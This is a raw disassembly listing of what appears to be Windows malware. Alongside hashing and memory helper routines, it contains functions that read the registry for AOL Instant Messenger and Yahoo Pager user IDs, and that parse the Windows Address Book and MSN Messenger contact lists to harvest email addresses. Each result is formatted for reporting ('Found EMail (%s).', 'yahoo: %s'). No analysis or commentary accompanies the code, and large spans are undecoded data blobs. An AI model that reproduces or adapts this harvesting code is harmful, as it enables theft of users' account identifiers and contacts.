		shl	edx, 0Fh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_3C]
		lea	edi, [edi+edx-7A7BA22Fh]
		mov	edx, edi
		shl	edx, 15h
		shr	edi, 0Bh
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_20]
		lea	ebx, [ebx+edi+6FA87E4Fh]
		mov	edi, ebx
		shr	edi, 1Ah
		shl	ebx, 6
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [esp+5Ch+var_4]
		lea	ecx, [ecx+ebx-1D31920h]
		mov	ebx, ecx
		shr	ebx, 16h
		shl	ecx, 0Ah
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_28]
		lea	eax, [eax+ecx-5CFEBCECh]
		mov	ecx, eax
		shr	ecx, 11h
		shl	eax, 0Fh
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
		add	eax, [esp+5Ch+var_C]
		lea	edx, [edx+eax+4E0811A1h]
		mov	eax, edx
		shl	eax, 15h
		shr	edx, 0Bh
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		not	edx
		or	edx, eax
		xor	edx, ecx
		add	edx, [esp+5Ch+var_30]
		lea	edi, [edi+edx-8AC817Eh]
		mov	edx, edi
		shr	edx, 1Ah
		shl	edi, 6
		or	edx, edi
		mov	edi, ecx
		add	edx, eax
		not	edi
		or	edi, edx
		xor	edi, eax
		add	edi, [esp+5Ch+var_14]
		lea	ebx, [ebx+edi-42C50DCBh]
		mov	edi, ebx
		shr	edi, 16h
		shl	ebx, 0Ah
		or	edi, ebx
		mov	ebx, eax
		add	edi, edx
		not	ebx
		or	ebx, edi
		push	40h
		xor	ebx, edx
		push	0
		add	ebx, [esp+64h+var_38]
		lea	ecx, [ecx+ebx+2AD7D2BBh]
		mov	ebx, ecx
		shr	ebx, 11h
		shl	ecx, 0Fh
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, ebp
		mov	ebp, [esi+8]
		add	ebp, ebx
		lea	eax, [eax+ecx-14792C6Fh]
		mov	ecx, [esi]
		add	ecx, edx
		mov	edx, eax
		shl	edx, 15h
		shr	eax, 0Bh
		or	edx, eax
		mov	eax, [esi+4]
		add	edx, ebx
		mov	ebx, [esi+0Ch]
		add	eax, edx
		add	ebx, edi
		mov	[esi+4], eax
		lea	eax, [esp+64h+var_40]
		push	eax
		mov	[esi], ecx
		mov	[esi+8], ebp
		mov	[esi+0Ch], ebx
		call	sub_435A60
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 40h
		retn
sub_434DA0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 260h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435950	proc near		; CODE XREF: sub_434D10+14p
					; sub_434D10+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jbe	short loc_435997
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		push	esi
		or	esi, 0FFFFFFFFh
		lea	eax, [edx+1]
		sub	esi, edx


loc_43596A:				; CODE XREF: sub_435950+44j
		mov	dl, [ecx]
		add	ecx, 4
		mov	[eax-1], dl
		mov	edx, [ecx-4]
		shr	edx, 8
		mov	[eax], dl
		mov	edx, [ecx-4]
		shr	edx, 10h
		mov	[eax+1], dl
		mov	edx, [ecx-4]
		shr	edx, 18h
		mov	[eax+2], dl
		add	eax, 4
		lea	edx, [esi+eax]
		cmp	edx, edi
		jb	short loc_43596A
		pop	esi


loc_435997:				; CODE XREF: sub_435950+7j
		pop	edi
		retn
sub_435950	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4359C0	proc near		; CODE XREF: sub_434DA0+26p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		mov	ebp, [esp+4+arg_8]
		test	ebp, ebp
		jbe	short loc_435A0A
		mov	ecx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, 0FFFFFFFEh
		lea	eax, [ecx+2]
		sub	edi, ecx


loc_4359DD:				; CODE XREF: sub_4359C0+46j
		xor	ecx, ecx
		xor	edx, edx
		mov	ch, [eax+1]
		mov	dl, [eax-1]
		mov	cl, [eax]
		add	eax, 4
		shl	ecx, 8
		or	ecx, edx
		xor	edx, edx
		mov	dl, [eax-6]
		add	esi, 4
		shl	ecx, 8
		or	ecx, edx
		mov	[esi-4], ecx
		lea	ecx, [edi+eax]
		cmp	ecx, ebp
		jb	short loc_4359DD
		pop	edi
		pop	esi


loc_435A0A:				; CODE XREF: sub_4359C0+7j
		pop	ebp
		retn
sub_4359C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A30	proc near		; CODE XREF: sub_434C30+4Ep
					; sub_434C30+9Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		jbe	short loc_435A4C
		mov	eax, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_4]
		sub	ecx, eax


loc_435A43:				; CODE XREF: sub_435A30+1Aj
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_435A43


loc_435A4C:				; CODE XREF: sub_435A30+7j
		pop	esi
		retn
sub_435A30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435A60	proc near		; CODE XREF: sub_434D10+60p
					; sub_434DA0+932p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		test	ecx, ecx
		jbe	short locret_435A8E
		mov	al, [esp+arg_4]
		push	ebx
		mov	bl, al
		mov	edx, ecx
		mov	bh, bl
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_435A8E:				; CODE XREF: sub_435A60+6j
		retn
sub_435A60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_435AA0	proc near		; CODE XREF: sub_401C21j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_435AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	0Bh
		push	3
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+58h+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_435AA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Dh
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+30h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435B90:				; CODE XREF: ___:loc_401F3Cj
		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_43D116
		push	eax
		mov	eax, 16D4h
		mov	large fs:0, esp
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+16F0h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436148
		push	80h
		mov	dword ptr [esp+1Ch], 800h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	ebp, eax
		lea	eax, [esp+64h]
		mov	ecx, esi
		push	offset asc_444600 ; " "
		push	1
		push	eax
		call	sub_4016B8
		push	800h
		mov	dword ptr [esp+16F0h], 0
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 51172C1Dh, 4C48300h,	0B9F88Bh, 33000002h, 0E43D89C0h
		dd 0F3005103h, 7794BEABh, 4E8B0044h, 4C8D51FCh,	2DE85024h
		dd 8DFFFCBCh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCB889h
		dd 1B2C3D8Bh, 0FF500051h, 4C483D7h, 4C244C8Dh, 0B873E850h
		dd 0FF50FFFCh, 4C483D7h, 0E9E89050h, 8377811Fh,	0C08508C4h
		dd 26A840Fh, 3E810000h,	80000001h, 9B840Fh, 568B0000h
		dd 0F0685204h, 55004445h, 1833E890h, 0B9001Ch, 33000002h
		dd 24BC8DC0h, 6F0h, 0F30CC483h,	100B9ABh, 0E8BF0000h, 0F3005103h
		dd 3E4A1ABh, 4C8D0051h,	948D1824h, 6E424h, 0C75100h, 0
		dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch
		dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 444D3068h
		dd 694F8D00h, 0FCB7D8E8h, 938F8AFFh, 50000000h,	94878Ah
		dd 51500000h, 4D808568h, 0BB39E800h, 0C483FFFCh, 90006A1Ch
		dd 4CA2D7E8h, 81168B02h, 1FAh, 0B5850F80h, 0A0000001h
		dd 448F40h, 40B9h, 24848800h, 0E0h, 0BC8DC033h,	0E124h
		dd 2444C700h, 10428h, 66ABF300h, 4C8DAAABh, 448D4424h
		dd 50513024h, 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h
		dd 50514424h, 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h
		dd 424848Dh, 51000001h,	44C75250h, 4424h, 0E8900000h, 247A25Ch
		dd 1424448Bh, 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh
		dd 4C8D0000h, 548D4424h, 6A512024h, 6A006A00h, 24848D00h
		dd 0EF4h, 68575052h, 80000003h,	402444C7h, 800h, 0A216E890h
		dd 0C0850248h, 0E9850Fh, 4E8B0000h, 24948D04h, 0EE4h, 84685251h
		dd 55004446h, 20244489h, 1C16C4E8h, 0B99000h, 33000002h
		dd 24BC8DC0h, 6F4h, 0F310C483h,	100B9ABh, 0E8BF0000h, 0F3005103h
		dd 24448DABh, 19685010h, 6A000200h, 3685500h, 90800000h
		dd 4FA1BBE8h, 8468B02h,	18244C8Dh, 0E424948Dh, 51000006h
		dd 14244C8Bh, 6A006A52h, 0FF515000h, 74C085D3h,	24548B0Bh
		dd 0E8905210h, 24CA190h, 8D08568Bh, 8D182444h, 6E4248Ch
		dd 8B500000h, 51142444h, 6A006Ah, 0D3FF5052h, 3C75C085h
		dd 8BFC568Bh, 16F424BCh, 8C8D0000h, 6E424h, 68525100h
		dd 444D30h, 0E8694F8Dh,	0FFFCB62Dh, 938F8Ah, 8A500000h
		dd 9487h, 68515000h, 4D8085h, 0FCB98EE8h, 1CC483FFh, 1024548Bh
		dd 0A12AE852h, 8B90024Ch, 8B24247Ch, 47142444h,	7C89F83Bh
		dd 820F2424h, 0FFFFFED2h, 4C244C8Dh, 0EC2484C6h, 16h, 0FCB329E8h
		dd 10C683FFh, 79E4FE81h, 8C0F0044h, 0FFFFFD2Ah,	17642D8Bh
		dd 448D0051h, 68501C24h, 20019h, 7068006Ah, 6800447Bh
		dd 80000002h, 302444C7h, 0
		dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h
		dd 6A525100h, 68006A00h, 448A2Ch, 85D3FF50h, 0BE850FC0h
		dd 68000000h, 104h, 7F649EE8h, 8C8D9077h, 2E824h, 7B646800h
		dd 0F08B0044h, 8A1C6851h, 90560044h, 1C154CE8h,	4E6C6800h
		dd 90560044h, 80907FE8h, 83F88B77h, 0FF851CC4h,	8D577574h
		dd 802494h, 646A0000h, 6E89052h, 837780ACh, 0C0850CC4h
		dd 448D5374h, 4687C24h,	5000448Ah, 811C9FE8h, 0C4839077h
		dd 75C08508h, 24948B3Ch, 16F4h,	7C244C8Dh, 89E86851h, 4A8D0044h
		dd 0B4FBE869h, 8B50FFFCh, 17002484h, 888A0000h,	94h, 93908Ah
		dd 52510000h, 4D808568h, 0B855E800h, 0C483FFFCh, 0E8905718h
		dd 7780AAA5h, 8504C483h, 560A74F6h, 6201E890h, 0C483777Fh
		dd 24448B04h, 0E890501Ch, 24C9FD8h, 1C244C8Dh, 182444C7h
		dd 80h,	196851h, 6A0002h, 4489C068h, 26800h, 0D5FF8000h
		dd 1C244C8Bh, 1824548Dh, 0E424848Dh, 52000002h,	6A006A50h
		dd 8A2C6800h, 0FF510044h, 0FC085D3h, 0B785h, 1046800h
		dd 90E80000h, 90777F63h, 0E824948Dh, 68000002h,	4489B8h
		dd 6852F08Bh, 4489A8h, 3EE89056h, 68001C14h, 444E6Ch, 71E89056h
		dd 8B77808Fh, 1CC483F8h, 6E74FF85h, 24848D57h, 80h, 9050646Ah
		dd 80AAF8E8h, 0CC48377h, 4C74C085h, 7C244C8Dh, 44898C68h
		dd 0E8905100h, 77811B90h, 8508C483h, 8B3575C0h,	16F4249Ch
		dd 548D0000h, 68527C24h, 448970h, 0E8694B8Dh, 0FFFCB3EDh
		dd 938B8Ah, 8A500000h, 9483h, 68515000h, 4D8085h, 0FCB74EE8h
		dd 18C483FFh, 9EE89057h, 837780A9h, 0F68504C4h,	90560A74h
		dd 7F60FAE8h, 4C48377h,	1C24548Bh, 0D1E89052h, 8D024C9Eh
		dd 0C764244Ch, 16EC2484h, 0FFFF0000h, 0E3E8FFFFh, 0E9FFFCB0h
		dd 184h
; ---------------------------------------------------------------------------


loc_436148:				; CODE XREF: ___:00435BD1j
		lea	ecx, [edi+32h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4362CC
		lea	eax, [esp+10h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareAmeric ; "Software\\America Online\\AOL	Instant	Mes"...
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+1E4h]
		rep stosd
		lea	ecx, [esp+14h]
		lea	edx, [esp+1E4h]
		push	ecx
		mov	ecx, [esp+14h]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		push	0
		push	offset dword_448908
		push	ecx
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_4361D2
		mov	edx, [esp+10h]
		push	edx
		nop
		call	near ptr 2900000h
		jmp	loc_4362CC
; ---------------------------------------------------------------------------


loc_4361D2:				; CODE XREF: ___:004361C0j
		mov	eax, [esp+14h]
		mov	ecx, [esp+10h]
		mov	ebp, dword_511740
		push	ecx
		mov	byte ptr [esp+eax+1E8h], 0
		call	ebp
		lea	edx, [esp+1E4h]
		lea	ebx, [esi+69h]
		push	edx
		push	offset dword_4488FC
		mov	ecx, ebx
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		lea	edx, [esp+10h]
		push	edx
		push	0F003Fh
		push	0
		push	offset aSoftwareYahooP ; "Software\\Yahoo\\Pager"
		push	80000001h
		call	near ptr 2930000h
		nop
		test	eax, eax
		jnz	loc_4362CC
		mov	ecx, 40h
		lea	edi, [esp+0E0h]
		rep stosd
		lea	eax, [esp+14h]
		lea	ecx, [esp+0E0h]
		push	eax
		mov	eax, [esp+14h]
		lea	edx, [esp+24h]
		push	ecx
		push	edx
		push	0
		push	offset aYahooUserId ; "Yahoo! User ID"
		push	eax
		mov	dword ptr [esp+2Ch], 100h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jz	short loc_436289
		mov	ecx, [esp+10h]
		push	ecx
		call	ebp
		jmp	short loc_4362CC
; ---------------------------------------------------------------------------


loc_436289:				; CODE XREF: ___:0043627Ej
		mov	edx, [esp+14h]
		mov	eax, [esp+10h]
		push	eax
		mov	byte ptr [esp+edx+1E8h], 0
		call	ebp
		lea	ecx, [esp+0E0h]
		push	ecx
		push	offset aYahooS	; "yahoo: %s"
		mov	ecx, ebx
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_4362CC:				; CODE XREF: ___:0043615Aj
					; ___:0043617Ej ...
		mov	ecx, [esp+16E4h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 16E0h
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 1E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4364D0	proc near		; CODE XREF: sub_4016FEj

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4364D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+3Ch+var_24]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4364D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436570:				; CODE XREF: ___:loc_401FF5j
		sub	esp, 6CCh
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4017EE
		mov	ebp, [esp+6E0h]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_43680E
		lea	eax, [esp+14h]
		mov	dword ptr [esp+20h], 320h
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"...
		push	80000001h
		nop
		call	near ptr 2930000h
		mov	eax, [esp+14h]
		test	eax, eax
		jz	loc_43680E
		lea	ecx, [esp+20h]
		lea	edx, [esp+1D8h]
		push	ecx
		push	edx
		push	0
		push	0
		push	offset byte_448F40
		push	eax
		call	near ptr 28E0000h
		nop
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 2900000h
		push	0
		push	80h
		push	4
		push	0
		push	1
		lea	ecx, [esp+1ECh]
		push	80000000h
		push	ecx
		nop
		call	near ptr 2850000h
		push	0
		push	0
		push	0
		mov	edi, eax
		push	2
		push	0
		push	edi
		mov	[esp+34h], edi
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		test	ebx, ebx
		mov	[esp+24h], ebx
		jnz	short loc_436649
		push	edi
		nop
		call	near ptr 2830906h
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436649:				; CODE XREF: ___:00436631j
		push	0
		push	0
		push	0
		push	4
		push	ebx
		nop
		call	near ptr 27206DBh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_436679
		mov	esi, dword_5118E0
		push	ebx
		call	esi
		push	edi
		call	esi
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------


loc_436679:				; CODE XREF: ___:0043665Cj
		xor	edx, edx
		xor	eax, eax
		mov	dh, [esi+63h]
		mov	ah, [esi+61h]
		mov	dl, [esi+62h]
		and	eax, 0FFFFh
		movsx	ecx, byte ptr [esi+64h]
		shl	edx, 10h
		or	edx, eax
		xor	eax, eax
		mov	al, [esi+60h]
		or	edx, eax
		mov	eax, ecx
		shl	eax, 4
		add	eax, ecx
		shl	eax, 2
		test	eax, eax
		jle	short loc_436718
		lea	ecx, [eax+43h]
		mov	eax, 0F0F0F0F1h
		lea	edi, [edx+esi]
		mul	ecx
		mov	ebx, edx
		shr	ebx, 6


loc_4366BB:				; CODE XREF: ___:0043670Ej
		xor	eax, eax
		mov	ecx, edi


loc_4366BF:				; CODE XREF: ___:004366CFj
		mov	dl, [ecx]
		add	ecx, 2
		mov	[esp+eax+0ACh],	dl
		inc	eax
		cmp	eax, 44h
		jle	short loc_4366BF
		lea	eax, [esp+0ACh]
		lea	ecx, [ebp+69h]
		push	eax
		push	offset aFoundEmailS_ ; "Found EMail (%s)."
		mov	byte ptr [esp+0F8h], 0
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		add	edi, 44h
		dec	ebx
		jnz	short loc_4366BB
		mov	ebx, [esp+24h]
		mov	edi, [esp+1Ch]


loc_436718:				; CODE XREF: ___:004366A7j
		push	edi
		mov	edi, dword_5118E0
		call	edi
		push	esi
		call	near ptr 272089Eh
		nop
		push	ebx
		call	edi
		lea	eax, [esp+18h]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"...
		push	80000001h
		nop
		call	near ptr 2930000h
		test	eax, eax
		jnz	loc_43680E
		mov	ebx, off_511C00
		mov	dword ptr [esp+10h], 400h
		mov	dword ptr [esp+28h], 3
		xor	esi, esi


loc_436767:				; CODE XREF: ___:004367FEj
		mov	ecx, 20h
		xor	eax, eax
		lea	edi, [esp+2Ch]
		push	esi
		rep stosd
		lea	ecx, [esp+30h]
		push	offset dword_448A48
		push	ecx
		call	ebx ; sub_5F74D1
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+2E8h]
		add	esp, 0Ch
		rep stosd
		lea	edx, [esp+10h]
		lea	eax, [esp+2DCh]
		push	edx
		lea	ecx, [esp+2Ch]
		push	eax
		mov	eax, [esp+20h]
		push	ecx
		lea	edx, [esp+38h]
		push	0
		push	edx
		push	eax
		inc	esi
		mov	dword ptr [esp+28h], 400h
		call	near ptr 28E0000h
		nop
		test	eax, eax
		jnz	short loc_436803
		lea	ecx, [esp+2DCh]
		push	ecx
		push	offset dword_448A3C
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h
		push	64h
		call	near ptr 2830000h
		nop
		jmp	loc_436767
; ---------------------------------------------------------------------------


loc_436803:				; CODE XREF: ___:004367C3j
		mov	ecx, [esp+18h]
		push	ecx
		nop
		call	near ptr 2900000h


loc_43680E:				; CODE XREF: ___:00436594j
					; ___:004365C4j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 6CCh
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 0B0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D0	proc near		; CODE XREF: sub_401E65j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4368D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	7
		push	5
		push	12h
		push	4Fh
		push	14h
		push	5
		lea	eax, [esp+5Ch+var_3C]
		push	7
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_40168B
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_4368D0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0Bh
		push	17h
		push	4Fh
		push	14h
		push	5
		lea	edx, [esp+34h]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_40168B
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4369E0	proc near		; CODE XREF: sub_401E6Aj

var_135		= byte ptr -135h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= byte ptr -124h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4369E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		mov	esi, [esp+140h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_436EB7
		push	ebp
		xor	ebp, ebp
		push	ebp
		push	offset asc_444600 ; " "
		lea	eax, [esp+150h+var_128]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+158h+var_134], ebp
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], ebp
		push	ecx
		push	20019h
		push	ebp
		mov	ecx, eax
		call	sub_4017EE
		mov	edi, dword_511764
		push	eax
		push	80000001h
		call	edi
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	ebp
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	ebp
		push	ebp
		mov	ecx, eax
		mov	dword ptr [esp+154h], 1
		call	sub_4017EE
		mov	ebp, dword_51172C
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_436B0C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_448B8B+1)
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 18h


loc_436B0C:				; CODE XREF: sub_4369E0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 2900000h
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_444600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
